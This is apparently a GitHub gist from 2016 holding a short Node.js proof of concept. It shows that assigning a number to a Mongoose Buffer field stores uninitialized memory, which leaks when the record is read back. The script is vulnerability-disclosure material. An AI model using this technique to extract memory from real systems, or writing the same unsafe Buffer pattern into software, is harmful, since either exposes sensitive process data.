Mongoose+Buffer unitialized Buffer sensitive information leak, v1
January 15, 2016 ยท View on GitHub
var mongoose = require('mongoose'); mongoose.connect('mongodb://localhost/bufftest'); // data: Buffer is not uncommon, taken straight from the docs: http://mongoosejs.com/docs/schematypes.html mongoose.model('Item', new mongoose.Schema({id: String, data: Buffer})); var Item = mongoose.model('Item'); var sample = new Item(); sample.id = 'item1'; sample.data = 1000; sample.save(function () { Item.findOne(function (err, result) { console.log(result.data.toString('ascii')) mongoose.connection.db.dropDatabase(); // Clean up everything process.exit(); }); });